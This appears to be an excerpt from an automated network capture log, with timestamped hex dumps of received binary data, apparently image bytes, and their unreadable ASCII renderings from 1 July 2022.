53 49 5a e9 23 e7 df 8c 3e 38 3a 87 88 6f 21 59 32 a6 43 9e 78 e2 bc ba f3 54 f3 08 c9 f9 73 c9 eb 4f f1 a5 c3 49 aa cb 29 
2c 4b 92 4f b5 72 32 5d 3b 39 5c 91 f4 ef 5f 49 4e 8f 35 18 38 f6 46 d1 5c aa e7 d0 df 0f 7c 6e 96 76 49 13 1c 10 b8 03 3d 
78 ae 4b c7 fa d7 f6 96 af 2c a4 f1 9e 31 d2 b8 fd 07 50 96 10 83 24 0c 55 eb c7 6b a6 2c d9 27 1e b5 e1 c3 01 4e 86 25 
d6 8a d5 9a ca a7 34 6c 47 6e a9 24 8a c4 65 98 f5 ae 8d 64 44 54 8f 20 6e 00 60 7e 55 ca db dd ad aa 80 54 12 0f 52 69 
f6 ba 8b dc ea 90 26 78 0d 92 3d 6b dd 8a e6 d1 18 
Data Ascii: $`f.V2RO3KApjlc'gYy$Xi^nWJRSIZ#>8:o!Y2CxTsOI),KOr2];9\_IN58F\|nvI=xK,1P$Uk,'N%4lGn$edDT 
n`~UTRi&x=k

2022-07-01 09:02:13 UTC 7517 IN Data Raw: a7 7a f2 2b 5e 32 8a f3 1a d3 53 cb 3e ca d1 5c 12 46 46 7a 76 ab f2 42 ad 18 75 1e e0 d4 f7 4a 37 10 06 4e 
78 e3 ad 44 41 86 dc 8e bc 74 eb 5e 84 77 2e a4 b9 91 41 e2 37 13 2a 76 07 9a eb b4 3d 36 38 91 59 b0 2b 9d b3 8b 6b 
6f 27 df 9a d7 87 56 d8 02 67 1d eb b6 3d ce 39 5d a3 66 fe 41 b4 80 78 ae 6e fa 5f 99 89 e9 8f ca ae 49 a8 79 8b 9c 82 
3d 2b 2e f9 f7 29 db c9 3d 05 74 46 44 46 16 76 39 cd 63 50 29 c2 9c 1c fe 35 cd 5d cc f3 13 eb d3 35 bb a9 da 9c 93 8a 
cf fb 28 2b 9e 07 73 5d 2a d6 3d 48 a5 15 a0 9a 38 11 32 93 cf 3c 8a f4 ef 0e df 47 2c 6b b4 f1 8c 1f 63 5e 7f 67 67 ba 22 
c0 72 3a 56 b7 87 66 96 da e8 21 24 8c e7 eb 5e 06 3a 0a b5 f5 d8 97 a9 dc f8 82 e3 16 27 07 9c 64 d7 98 5f dc 3b bb 31 
38 1d bd ab bb f1 0d d0 16 2d ce 0e 38 39 af 33 d5 2f 95 
Data Ascii: z+^2S>\FFzvBuJ7NxDAt^w.A7*v=68Y+ko'Vg=9]fAxn_Iy=+.)=tFDFv9cP)5]5(+s]*=H82<G,kc^gg"r:Vf!$^:'d_;18-
893/

2022-07-01 09:02:13 UTC 7533 IN Data Raw: b7 4a 59 41 e7 8c d7 69 68 db 2c 57 23 07 38 e9 d2 b9 5b e7 5f b7 4a 5c ed 52 d8 27 d0 7f 9c d7 5d 3f 21 a5 
7d c9 b4 39 07 f6 94 6b c6 3a 1c f0 05 7a 6e af 74 a9 a3 6e e1 82 a9 af 22 d2 e4 47 d5 a3 65 73 b1 64 00 71 d5 7d 7f 41 
f9 d7 a2 6a f7 43 fb 27 60 3c 60 e1 bd 6b cf c4 d3 bd 68 5c de 32 4a 2e c7 97 de 6a 17 17 11 c8 22 1b 02 9c e7 1c d6 5e 
5b e7 79 0e 4f 72 7b d6 f5 bc 6a b2 16 20 30 53 ca 91 d6 b0 75 8c 5b ab e0 60 64 9c 7a 57 d5 42 0a 27 9d 27 73 2a e3 
52 5b 76 38 6c 73 c5 65 5c ea c6 6c 8f 33 02 b2 75 6b e9 16 e0 90 71 9f 53 9a a0 93 b1 24 e7 27 a9 a1 c8 da 29 58 d9 69 
83 0e 0e 7d 2a 5b 59 0e ec 67 23 15 42 df 32 63 82 7b e3 15 d0 69 7a 53 4d 86 23 03 af 35 9b 57 2b 61 b0 42 d2 10 14 
77 ad bb 1d 26 59 b1 91 fd 6b 47 4e d2 52 36 04 8c fe 15 bf 6d 
Data Ascii: JYAih,W#8[_J\R']?!}9k:zntn"Gesdq}AjC'`<`kh\2J.j"^[yOr{j 0Su[`dzWB''s*R[v8lse\l3ukqS$')Xi}*[Yg#B2c{
izSM#5W+aBw&YkGNR6m

2022-07-01 09:02:13 UTC 7549 IN Data Raw: d4 6b 1a a3 5a 6a 0f 06 f2 31 d7 07 9a af 27 97 74 87 71 0f c7 e3 5e b5 28 f3 41 31 5c a5 e1 3d 51 ed a6 11 
31 c0 2b 80 3f 0a bf a8 2a dc 48 dd f9 cf 35 52 de c5 6d e6 0e 9d 31 c1 ab 91 c6 64 93 1d f3 8a e7 9a 51 77 46 94 f7 b9 
35 8d 90 8e 1d e4 63 03 83 5c 9f 89 6f 7c bb 82 99 3f 9d 76 f7 7f b9 b6 f4 18 cf d6 bc c3 59 91 a7 be 73 92 40 3c 55 e1 
d7 34 ae 6b 22 bd 88 5b 9b c3 9e 79 c0 ae ea c6 d5 23 88 1c 0c f5 ae 67 41 d0 e5 ff 00 5a ca 47 39 c6 39 35 d3 4b 21 b7 
8c 27 e1 53 8a 9b 72 51 4c cf a8 db fb 81 6f 13 b7 1e b5 c4 6a da a3 ca c5 50 e3 9e b5 d0 ea 12 34 fb d7 39 e3 9e 6b 9c 
7b 55 59 89 6e 46 6b a3 0f 65 ab 2d cb a1 94 6c e5 b8 e5 41 24 fa d6 9e 97 e1 e6 ba 07 cd 9d 60 6c f0 0a 16 07 f2 ad 2b 
57 82 3c 13 8c d6 b5 be a3 6b 12 82 48 1f 4e 2b d0 e6 6c 
Data Ascii: kZj1'tq^(A1\=Q1+?*H5Rm1dQwF5c\o|?vYs@<U4k"[y#gAZG995K!'SrQLojP49k{UYnFke-lA$`l+W<kHN+l

2022-07-01 09:02:14 UTC 7557 IN Data Raw: d2 5a ea 82 e2 1c a8 c6 d6 00 f5 ae aa b4 3d b4 1c 2f 66 29 7c 27 a6 78 e6 e1 dc 89 e2 39 77 39 f9 7b 57 9e 
ea 10 dc b4 4f 29 dc cd d7 9e b5 bb 67 a8 49 a9 4e 8b 23 64 60 81 9e d5 a7 e2 28 61 87 4f 81 14 62 5d a7 71 ff 00 3f 8d 
46 1a 9f b1 8a a3 27 76 67 19 33 23 c2 1a f7 d8 e7 89 a4 e0 0e 0e 78 af 47 fe da b3 d7 b4 b3 65 b9 42 b4 98 12 30 ce d3 
5e 3f e4 9f b4 45 e5 8e 31 c8 1d eb ac f0 b6 9b 77 1d ab dc 6d 26 26 6c 16 07 a1 ff 00 22 9d 68 c7 ed 1d 94 ac de a6 6f 
8c 3c 3c 7c 3b 3a cd ed 86 2a 38 23 b1 a8 f4 cd 6a 2b e5 46 67 c1 58 f8 c0 ef 56 bc 49 7b 75 a9 5c 4d 6b 73 ba 48 f6 ed 
56 51 9c 57 3f 67 a2 cb a5 ce 92 93 be 27 e0 37 4a de 9c 97 4d 85 3a 68 f4 bf 0f 78 86 cf 51 b5 11 32 85 90 0d a7 27 06 
b4 dc c4 ca a5 40 61 8c 1e f5 c1 5c 59 a6 9b 71 14 d6 ee 
Data Ascii: Z=/f)|'x9w9{WO)gIN#d`(aOb]q?F'vg3#xGeB0^?E1wm&&l"ho<<|;:*8#j+FgXVI{u\MksHVQW?g'7JM:hxQ2'@a\Yq

2022-07-01 09:02:14 UTC 7573 IN Data Raw: e7 fd 3e 18 f7 c7 1a 28 6f 29 4f 40 ec 79 67 72 4f d3 22 ba 9f 0e d9 f8 87 44 f0 dd fc f7 4f 1c b7 f3 4a d7 1f 66 
c6 ed 8c c7 83 26 3b 93 8f 97 fd 91 d8 62 b3 74 ab 58 75 6d 42 5d 40 e9 c4 dd 5d 95 69 15 58 84 b6 51 d0 17 6f e3 38 ed 
ea 7b 71 5e a1 a7 da 69 d1 69 90 45 73 76 ab 14 50 fd a6 f5 6c 86 51 32 4e 11 3b b3 37 0a be b8 63 ef 4a f7 1d 8f 2a 6f 
01 eb 7e 27 61 ab ea d1 dd 4f a6 c4 d8 86 17 93 13 5e 3f 73 93 c2 a7 bf a7 ad 2e a1 18 d6 2e e1 8e 28 ad 6d f4 db 77 56 
9a e2 38 b1 1c 0a 98 f9 77 f5 73 9e 83 92 49 af 4d 67 be f1 67 88 24 96 ff 00 31 69 16 41 62 3a 4c 0f ce e3 ca 42 e4 72 
cc 70 4b 0f 6e 6b 27 c7 b7 53 e8 92 21 bc 86 de 1b f8 40 fb 1e 9f 00 dd 0d 8a 1f f9 68 57 a3 4a 47 72 30 bd b9 a8 9b 49 
6e 54 6e d9 83 e2 ed 0e 35 b1 d0 b4 9d 35 1a 24 79 
Data Ascii: >(o)O@ygrO"DOJf&;btXumB]@]iXQo8{q^iiEsvPlQ2N;7cJ*o~'aO^?s..(mwV8wsIMgg$1iAb:LBrpKnk'S!@h
WJGr0InTn55$y

2022-07-01 09:02:14 UTC 7589 IN Data Raw: 0f e4 7f 31 58 9e 24 f1 35 8f 84 7c 3d 2b dc ca 22 44 c6 1e 43 9d c0 31 2a 0e 3a e4 9c fe 02 ba 0d 53 57 16 ba 
75 f4 f3 ba a9 68 de 42 a7 80 16 30 d9 fe 95 f2 af c5 69 af 7c 6b ad 5b dc 6a 9a 8c 7a 7d a4 70 ab 0b 55 07 71 45 18 dc 
47 4f 99 b2 06 7d cd 26 f9 55 cb a7 15 27 66 62 f8 97 c7 56 bf db 12 eb 37 36 77 17 7a 7c 37 06 6f 2e ed f7 1b 99 9b 81 
2c 80 76 e9 b5 7f 85 40 03 92 4d 71 af af dc f8 b6 c2 f6 f6 f2 39 05 b1 6c dd dd 5a 5b ed 61 1e e1 b2 21 9f 95 17 8e c7 27 
9c e6 99 a7 f8 82 d3 4f be 6b a1 61 10 6b 58 c9 73 2a f9 c5 99 b8 55 c7 41 d4 00 3e b4 3e b0 92 2d dd 9b c6 b6 0f 70 aa 
0c 52 46 0c 31 cd 9e 3c b8 c1 fb d8 ea 5b d4 e0 57 0c a5 76 7a 30 49 2b 23 3f 58 d7 21 d1 a7 b3 93 cd fb 4c 90 90 5a 3b 
85 f3 58 0e a2 31 ce 0f 18 ce 7f 21 55 b5 6d 6e d3 
Data Ascii: 1X$5|=+"DC1*:SWuhB0i|k[jz}pUqEGO}&U'fbV76wz|7o.,v@Mq9lZ[a!'OkakXs*UA>>-pRF1<[Wvz0I+#?X!L
Z;X1!Umn

2022-07-01 09:02:14 UTC 7597 IN Data Raw: e6 9f 6c 82 36 42 c4 8c aa e7 63 0f a1 3c 54 f1 c8 16 e6 55 63 26 73 cc 82 32 a3 ff 00 af 56 e6 8c 6d 0d b1 64 
1d 08 dd 80 3d f0 71 5b a5 73 16 ec 64 43 71 21 90 19 2d 99 17 3b 43 4f 20 0d d7 b1 19 a9 2f 34 88 6f ed ce 25 58 9d 87 
12 14 0f 8f e5 57 7c b8 bc e2 14 03 fe c0 8f 70 1f ad 42 d6 b1 09 19 9a 0f 31 7f ba db 40 1f 85 1c 89 ab 32 79 99 cd da f8 
4e 18 6e 8b dd 6a 6d 39 e8 15 60 68 cf e1 83 8f cc 56 95 af 86 34 c8 9a 56 8e 16 94 b9 c9 f3 18 92 3f 0e 31 5a 6b 34 50 
c2 40 58 e3 4e c0 70 05 55 9b 56 5b 16 26 59 22 52 dc a8 5e a7 f5 a1 53 8c 50 dc a5 26 73 2d e0 d8 ac e7 be 8a 4d b2 
5a de 44 d1 c9 11 6d ea ca 7b 60 83 b4 fb 8f 4a f2 6f 1b 7c 10 d3 ad 6c a4 bd d1 a6 fb 0c 8a 73 e4 3a 1d 8f ec 71 fe 4d 7b
2e b1 e2 ab 7b 68 8c b7 4d 1a 45 82 44 d1 9f d3 03 
Data Ascii: l6Bc<TUc&s2Vmd=q[sdCq!-;CO /4o%XW|pB1@2yNnjm9`hV4V?1Zk4P@XNpUV[&Y"R^SP&s-MZDm{
`Jo|ls:qM{.{hMED

2022-07-01 09:02:14 UTC 7613 IN Data Raw: ef db 76 40 35 eb d6 b6 96 da 97 83 75 0d 3e de 1b b5 4b 42 ab 0b 5d 41 e4 66 32 33 f2 a8 f4 24 8f c3 35 f3 df 
88 fc 13 a9 59 df 4f 70 9a d3 3c 2c d8 f2 67 45 f9 3d 83 8c 1f cf da bd fa 12 d1 1e 4d 48 ab d8 ad ad 42 f6 38 c1 5d b9 e3 
8d c7 9f 4e df a5 62 ea 12 15 b8 41 14 4f 76 84 e0 bb 1c 00 7f 40 68 f1 07 88 ad fc 1f 67 03 de 5c 48 01 7e 65 75 79 49 ff 
00 be 54 e2 a5 d2 7c 5b a7 eb 91 b3 db 79 92 2a 8c 8d f0 b4 6b f5 f9 85 7a 1c e6 4a 25 a4 8e 48 61 1f 38 4c 80 3c 82 01 
55 f5 ce 3f c6 b2 24 f0 dd bd d3 bc af 04 6a 58 e7 72 2e ec 73 d7 e6 24 56 bc 97 b6 f7 b8 66 42 46 70 17 ca 25 4f d6 a9 
ad dc b6 01 de 3b 46 11 0c 93 81 80 7f 03 50 e4 3b 1c 5f 89 34 5d aa 20 b4 b6 8d d1 4e d6 69 01 00 8f 52 40 af 34 f1 25 
95 ae 93 18 09 05 83 b8 c9 65 85 3e 6c 9f 42 dc 
Data Ascii: v@5u>KB]Af23$5YOp<,gE=MHB8]NbAOv@hg\H~euyIT|[y*kzJ%Ha8L<U?$jXr.s$VfBFp%O;FP;_4] 
NiR@4%e>lB

Timestamp
kBytes
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2022-07-01 09:02:14 UTC 7629 IN Data Raw: 54 75 1d ba 19 b6 ed 63 17 52 9e 7b e9 cb 31 2a 9d 40 ec 2b 9f d4 d4 47 90 01 07 39 18 15 b5 75 aa 47 0f cc 
ca a5 31 f7 5b bd 73 5a 9d e0 99 9f ca 3b a2 ea 07 42 2b b2 84 5a e9 a1 71 42 5a eb 93 5b b6 c3 f3 26 71 82 6b 76 cf 56 
13 a8 e7 9e eb de b8 f5 63 21 00 75 cf e1 5d 2e 81 e1 db cd 42 64 54 42 b9 ee 4e 2b b6 4d 41 5d 96 d2 dc 76 ad 1a df 28 
48 93 e7 07 e5 39 e9 ed f4 ad 8f 08 f8 5a 55 90 c9 21 1e fb 86 41 f6 35 d3 69 de 11 16 f1 86 91 30 d8 cb 31 18 c5 6c 2b 
da d9 ac 90 b1 54 8f 1b 54 b1 f9 58 7a 1c 72 3e a2 bc 7a f8 d7 25 c9 4c 9b 9c ce ab 7d 6f a6 b1 8a 14 06 4c e3 03 b7 d2 
b8 cd 63 56 b8 dd b8 06 07 3f 78 f6 ae ae e7 4f 8e 6d 5d 40 3b 62 dd 82 d2 1c 85 fa e3 a8 15 cb 78 92 ce ea d2 ea 5b 59 
42 b4 b1 b1 53 e5 8c 83 f8 fa 7f 8d 6d 86 8a 4d 36 11 b1 
Data Ascii: TucR{1*@+G9uG1[sZ;B+ZqBZ[&qkvVc!u].BdTBN+MA]v(H9ZU!A5i01l+TTXzr>z%L}oLcV?xOm]@
;bx[YBSmM6

2022-07-01 09:02:14 UTC 7636 IN Data Raw: b5 63 36 46 fc fd 2a bc 57 dd bb 7e 54 49 a6 ef c9 42 17 27 ee 9e 2a a4 9a 65 c2 36 e5 52 df ee 9c d6 d1 e5 
5b 17 a1 a4 fb 27 5f 5f 6a cb bc 8c c3 93 8c 9c 75 ab 96 b0 5c e4 0f 29 8f 6e 05 5a b8 d2 e6 68 c9 68 98 0e 87 23 a5 6b 
cc ac 32 8f 86 f7 4f 7e 8b dc b0 02 bd ee cf e1 ff 00 f6 f6 9e 83 69 27 6e 47 1d 2b c7 fc 1b a2 ca fa b4 5f 21 da 18 10 48 
eb 5f 4d 68 97 0b a7 e9 1b 49 c3 05 c6 47 5a f9 bc ce a5 58 ce 3e c8 4e d7 32 74 1d 36 cb c1 3a 54 ad 33 02 ca 30 40 ea 
4f a5 78 77 c4 0f 11 4f aa 6b 12 5c 23 ee 5d d9 1c 64 57 5b e3 2b ad 4f 5e d4 8d ac 6c d1 db a9 e4 67 f9 d5 69 3c 19 64 
b6 60 ce 1a 46 c7 4c e0 9a eb a1 4d 45 fb 49 6a c4 a4 ad ab 3c e2 09 bc d0 cc 46 09 ec bc 01 4c 82 13 25 ce 71 cf 6a da 
d6 34 75 b4 77 16 d1 b1 5c f0 07 35 57 46 d3 e7 92 eb 
Data Ascii: c6F*W~TIB'*e6R['__ju\)nZhh#k2O~i'nG+_!H_MhIGZX>N2t6:T30@OxwOk\#]dW[+O^lgi<d`FLMEIj<FL%qj
4uw\5WF

2022-07-01 09:02:14 UTC 7652 IN Data Raw: 65 b1 91 8c 8a a1 71 34 57 cc 1c 0c 00 31 9c d6 75 c6 ad 1b 6f b7 df 9e 70 09 3c d6 56 d2 e8 72 d5 a4 ce 82 
68 e2 9b 4d 76 52 3c c6 04 67 35 e4 3a 8c da 8c 33 11 36 ed ac 70 18 1c d7 79 69 78 cb f2 12 48 ed 5b 4d e1 db 7d 43 
4d 66 72 a8 fb 4b 0e 32 0e 29 46 ad f4 17 2f 26 a7 09 a5 b1 4b 12 cd d5 b9 e6 a5 87 43 6b a5 49 94 37 3d 7d 2a 2d 41 92 
df 6d ba 70 33 93 df 15 d4 e8 4a 25 8e 38 f1 91 dc 76 a2 e6 2a ed 97 bc 23 a5 8b 38 4c 8e 30 0f e9 50 f8 bb 5d 59 d8 45 
19 00 28 c6 07 4a e8 ee 7e ca 96 a2 16 b9 5b 6c ae 33 b4 92 3f 2a e6 9b c2 a6 e8 34 91 ce b7 31 e7 96 00 82 3f 03 5a fc 
11 b2 3a 2c a2 73 36 76 af a8 dc 85 00 ed 1c b1 eb 5b 7a ce bb 1f 87 ec c4 5b 4a 3e 30 32 31 8a ea bc 27 e1 d8 ed 6e 82 
31 50 e0 64 29 e0 9a f4 7d 6f c0 fa 5e a5 e1 fd d7 d0 45 76 
Data Ascii: eq4W1uop<VrhMvR<g5:36pyixH[M}CMfrK2)F/&KCkI7=}*-Amp3J%8v*#8L0P]YE(J~[l3?*41?Z:,s6v[z[J>0
21'n1Pd)}o^Ev

2022-07-01 09:02:14 UTC 7668 IN Data Raw: 2d 0a 43 83 df da ba 4b 78 a3 66 07 71 3c 76 15 a7 0d b4 2a bc b1 f7 e6 b6 8d 16 c9 e6 b1 c7 ae 87 32 7f 7b 
f1 14 f5 d2 5f be 47 ad 75 53 88 97 3c 93 f5 35 9b 71 71 04 7e ff 00 56 a6 e0 a2 4f 31 92 da 39 c0 c8 24 74 f7 14 c1 a3 ee 
63 d8 fd 6a dd c6 a9 02 e7 ee 93 f5 aa 8d ae 42 bc 65 05 45 91 48 72 e8 e8 73 92 3d 3a d7 43 a1 e9 f1 46 07 2b 9e f5 cf 
a6 b9 0f fb 3f 80 ad 9d 27 5c 8d b9 0e 31 d7 a5 27 b0 1d a4 76 f1 fd 9d 46 57 a7 4a c1 d6 ec 12 65 39 39 ed d2 ac c7 ad 
0f 2c 72 48 ac fd 43 5a 03 39 27 14 e3 12 5b 2b 5e 5a 0d 4b 6e f7 20 7d 78 ae cf c3 fe 14 b3 b7 b1 8d ca 86 24 e7 1d ab 
85 6b e4 b4 b6 f3 19 b1 c7 af 26 ba 9f 04 f8 9b ed 8b e5 b1 f9 48 c0 07 b5 78 e4 4e f6 d0 d2 f1 5e 97 6a fa 74 aa b0 a8 25 
70 4e 2b c5 da 05 5b 97 5e 3e 53 8e 2b db bc 46 c5 
Data Ascii: -CKxfq<v*2{_GuS<5qq~VO19$tcjBeEHrs=:CF+?'\1'vFWJe99,rHCZ9'[+^ZKn }x$k&HxN^jt%pN+[^>S+F

2022-07-01 09:02:14 UTC 7676 IN Data Raw: fb 6c 72 6e 5f 21 f6 6e f4 78 ce 7e 46 3e 83 e4 6e d8 3c 56 9f 83 ed 5b 5e 51 0e a7 67 f6 6d 46 22 07 db 10 05 
32 63 80 24 5c 0c 37 b8 fc 6a 64 b5 b1 ac 5e 85 1f 03 f8 26 da 48 c8 2b f6 8b 46 5f dd c3 2e 18 a0 3d 54 30 e1 87 a7 19 
15 eb ba 26 8a 74 d6 56 55 2d 04 8a 16 55 63 90 7f da ff 00 1a 87 46 f0 dc 96 13 23 9d a5 89 c7 cb f2 86 fa f6 cf bd 74 fe 
59 b6 50 c1 18 6d e1 90 8e 0d 71 54 97 2a b1 d3 1d 4b b1 c7 e4 aa ab 0c a7 45 90 75 fa 1f 7a 77 96 26 50 01 0b 20 e9 
e8 78 a8 61 98 47 83 cb 5b b0 c1 1e 9f 5f a5 3e 40 d0 f0 0e f4 63 95 61 d4 57 13 92 66 9c ac 04 61 b2 8d 90 73 9d b8 e0 
7d 2b 56 de df 76 cc 16 cf 41 b5 b0 45 63 7d a0 ab 0d fc 9c f0 d8 eb 5a 16 77 a6 26 52 3a 77 c5 65 cc 87 ca ca de 28 9f 
5f d3 74 f7 92 d2 75 0e a7 28 d2 5b b3 95 fa ed 3c 8f 
Data Ascii: lrn_!nx~F>n<V[^QgmF"2c$\7jd^&H+F_.=T0&tVU-UcF#tYPmqT*KEuzw&P xaG[_>@caWfas}+VvAEc}Zw&R:w
e(_tu([<

2022-07-01 09:02:14 UTC 7692 IN Data Raw: f5 68 c3 aa 16 e8 c0 d7 0f d4 e6 a4 6c ea a6 8e a6 5d 50 c9 d4 e7 f4 15 4e 59 7c c6 19 39 3e 84 d5 08 25 dc 
c0 67 35 7e 3b 72 df 37 51 ed 5e ce 1a 5e cd ea 71 4e 1c c0 aa 0f 6c 77 ce 3a 52 b0 55 e7 19 1e f5 60 43 f2 9e 01 f5 aa 
f7 5f 2a 9c 7d 3a d7 b5 1c 4a e8 66 a9 77 28 dd 5c a2 e7 95 cf d2 a8 7d a9 64 6e 71 8e 9c 55 3d 52 49 17 77 24 73 db 9a 
cd 8e 56 dc 79 ef de bd 7a 72 e6 89 9c a9 a4 74 4a b1 c8 3b 11 d3 8e d4 d6 85 36 9a c9 5b a7 5c f3 48 d7 ec 84 67 f2 ad 
dc 74 32 b1 79 e2 8f 07 af f3 aa ec a1 4f 04 fd 2a 03 74 64 19 ce 3b 60 74 a7 34 87 00 f5 a8 f6 65 1c a4 37 a2 fe d4 e0 80 
d8 e0 77 ab fe 12 d3 af e4 bd c2 b1 29 d7 9e 45 63 69 fa 0d d4 72 02 0e 13 af 06 bd 2b c0 b7 d0 e9 37 48 26 55 72 7a e7 
9a e1 94 6c 8e 9b dc 99 b4 fb ab 59 83 15 c1 eb c5 2d 
Data Ascii: hl]PNY|9>%g5~;r7Q^^qNlw:RU`C_*}:Jfw(\}dnqU=RIw$sVyzrtJ;6[\Hgt2yO*td;`t4e7w)Ecir+7H&UrzlY-

2022-07-01 09:02:14 UTC 7708 IN Data Raw: c7 15 8f 2c 7e 64 04 f3 d3 07 da bb 3d 5a cd 6f d5 dd 88 2f 9c 93 de b9 59 ad 8c 0e d1 93 c7 6f 7a df d8 aa 69 
25 b1 9a 95 ce 4a 69 a6 8a 42 9b 89 00 f0 2a 6b 79 1e 46 1b c7 15 76 e2 cd 4d c6 48 ef cd 49 24 29 14 63 03 18 ac 9a 36 
e6 2e c5 1a 49 1a 81 82 d8 c0 39 a7 45 1f 94 c3 92 0e 7f 3a cd 82 eb c9 6c 64 e2 9d 75 a8 7d dc 7e 60 d4 e8 c8 d6 e7 69 
69 7e 56 00 33 91 8c 11 54 ef 26 56 f9 88 e7 d8 56 2d 9e a4 52 2e 4f 15 a3 0d c4 73 a8 f9 b9 ab 46 bd 04 6d 41 a3 5c 22 
e0 f4 ac eb 8b 89 64 04 b3 13 ed 5a 8f 08 3d 3a 55 59 e0 18 3c 02 3d 6b 48 92 d1 c9 6b 0f b9 08 e9 e9 5c da ef 12 0c 13 
5d 46 b3 10 c3 60 7d 2b 02 38 f7 48 36 f5 cd 08 93 6f 4d 2d b4 1c 9e 9c d4 f3 2e e6 18 e4 7f 2a 4d 32 2d aa 77 74 fd 6a 
cc c0 0c e0 03 58 35 ad ca e8 59 b1 b3 50 bb b0 29 6f 
Data Ascii: ,~d=Zo/Yozi%JiB*kyFvMHI$)c6.I9E:ldu}~`ii~V3T&VV-R.OsFmA\"dZ=:UY<=kHk\]F`}+8H6oM-.*M2-wtjX5YP)o

2022-07-01 09:02:14 UTC 7716 IN Data Raw: cc f8 d5 7d 35 e5 9c 16 d1 e4 c5 09 04 a8 1d 68 d0 62 8e 3b f8 a5 90 70 87 23 35 2f 8c b5 fb 4d 42 e0 21 45 
29 18 ce 7b 9a ee a1 45 d3 c6 d3 94 55 d2 05 3f 71 9e 07 ac f9 92 66 31 b9 4f 43 91 cd 73 ef a5 93 93 8c 9f 5a f4 0d 5a 
c7 cc be 91 c8 1b 24 39 5c 76 ac 4b bb 51 09 3d 87 bd 7e a1 4e 3e e2 66 3c c9 9c c0 88 db 76 c1 ea 2a 2f b4 ca cf cb 10 
2b 4a f0 02 0e 3a e2 b2 f0 43 67 f9 d5 58 64 e1 4b 46 72 39 eb cd 53 b6 b7 f3 27 e4 75 35 a2 98 da 45 4f a6 d9 33 5c 1e 
38 cf 5a ca 4e c8 66 ae 9b 6d b6 30 71 da b7 2c 94 2f 51 9e e6 ab ac 71 41 1a a9 04 11 c9 6c f0 6a de 98 de 63 86 03 2a 
0e 46 6b 8c 68 dd 89 bc 98 4b 30 00 e3 38 f4 ac 5d 4a e0 7d ec 02 fd 7e 95 6e ea e5 55 40 2d ef 54 da dc cd 09 6c 64 fe 
b5 d5 4e c4 4a 56 32 64 9f 76 43 9c b1 e9 9a a6 65 54 62 
Data Ascii: }5hb;p#5/MB!E){EU?qf1OCsZZ$9\vKQ=~N>f<v*/+J:CgXdKFr9S'u5EO3\8ZNfm0q,/QqAljc*FkhK08]J}~nU@-
TldNJV2dvCeTb

2022-07-01 09:02:14 UTC 7732 IN Data Raw: e4 33 63 72 81 82 7e b5 e7 d0 cb 69 a1 d8 07 49 24 97 cd ce 10 e0 b3 9c fa 75 03 81 da b6 b4 7d 7b 50 bf ba 
5b 97 85 c1 8f e5 48 d9 80 54 e9 cf 39 c1 ab 8d 44 b4 91 9c a2 f7 47 7d 25 bd be 8d 6a 12 30 0c ee 32 cc c7 9f c4 fe 15 
46 d7 53 69 27 d9 1c 5b 99 b8 53 d3 77 f5 aa 1e 5b 6b 12 a9 77 56 9f 3b 80 5e 8b ea 79 fe 66 ac 8d 4a d7 41 8d d6 32 8d 
2b 1c 3d d4 cf d4 fa 2e 79 ae c4 ee ee b4 47 2f 96 ec b7 35 ba 47 21 37 08 65 94 1e 02 9c 22 7f 8d 0b 6e d7 0a 5d c8 b6 
4c 61 02 f5 6f ea 6a b4 77 0f 74 56 52 e1 d3 3d 73 95 a9 da 4d d2 30 46 66 9c fc a3 03 90 3d 87 6a 6e c2 d4 cc d6 2d 0b 
2e c8 d9 b7 9c 66 4e a4 0f 61 f8 53 e2 d3 da 6f 2f e7 0e 54 7d d0 76 aa fd 7d 6b 69 6c a4 4d fe 67 ca 18 75 cf 27 db da 
b3 b5 2f dc af 94 32 e7 3c c6 9c 01 f5 3d 6b 17 1b 6a cd 
Data Ascii: 3cr~iI$u}{P[HT9DG}%j02FSi'[Sw[kwV;^yfJA2+=.yG/5G!7e"n]LaojwtVR=sM0Ff=jn-.fNaSo/T}v}kilMgu'/2<=kj

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:02:14 UTC 7748 IN Data Raw: 77 c3 53 b4 24 29 24 13 cf 26 bb 8b 4b af b3 a9 66 e0 1e 79 e9 5c 2d 95 c2 47 20 3d 45 6f c9 76 d7 31 05 43 
db 9c 57 39 a9 5b 5e d4 05 c5 d0 d9 cf bd 64 5d 5f 48 98 da 48 e3 b5 6a 4f a7 b7 94 ce 73 c0 cf 35 8f b7 cc 94 82 38 ce 
3e 95 a6 e2 29 5c 6a d7 12 29 5d c7 02 aa db ea cf 1c 9b 5c 92 0f 1c d6 b4 d6 28 ca 70 07 4a cd 93 49 dc 78 1f 88 a5 66 
02 ea 30 7d aa 3f 31 7a 8f 4e f5 1e 83 6c d7 57 d1 44 32 79 e4 56 85 85 ab 85 28 f9 23 1c 66 b7 3c 1f a4 a3 6b 89 c0 03 
39 ac e7 7b 5c 68 f6 1d 2e fd 7c 27 e1 90 e4 ec 66 5d c7 b6 2b c2 3c 61 e2 39 fc 41 ab 49 70 ee c5 33 84 52 7a 57 71 f1 
47 c4 5e 5c 49 65 1b 60 11 82 a3 b0 1d ab cb 76 99 9b 80 4f 3d 71 9a ce 9c 6c 8b 93 1f 68 8d 2c c8 a0 12 49 e0 62 bd 6f 
45 5b bb 3d 30 34 68 d8 c6 4f 1d 6b 96 f0 07 86 da ff 00 
Data Ascii: wS$)$&Kfy\-G =Eov1CW9[^d]_HHjOs58>)\j)]\(pJIxf0}?1zNlWD2yV(#f<k9{\h.|'f]+<a9AIp3RzWqG^\Ie`vO=qlh,I
boE[=04hOk

2022-07-01 09:02:14 UTC 7756 IN Data Raw: c3 01 88 e1 bd c1 af 16 fd a2 be 1b e8 9a d4 72 6a 1a 7c 2b 1d c3 1c 97 8d 70 4f d7 de b1 a5 27 7e 44 69 34 
9f bc 7c 96 35 01 e5 14 27 9f ad 66 cd 1a dc 38 e3 9c e2 b7 af bc 17 77 a6 cc 3c ef 9d 09 c0 6e d4 f8 fc 3b e5 27 99 8e 
47 5a ed e4 94 ba 1c bc c9 06 89 a6 9b 76 5d c3 8e a0 e7 15 d5 ca b1 2d bf 04 07 ee 3b 1a e5 9e fa 58 47 92 14 b7 a1 
c5 4f 61 05 ed ed c2 f5 09 da aa 3e ee 89 09 bb ea 68 5c 46 cc 06 d3 cd 54 68 1d 4e 70 49 eb ed 5b a3 4b 96 15 05 c1 
61 8c 66 a7 4b 48 a4 53 b8 10 71 f8 56 8e 0e fa 92 a4 73 33 02 aa 32 33 cf 5c 54 b6 b7 8c bc 29 ab 9a 95 a2 84 21 4f d6 
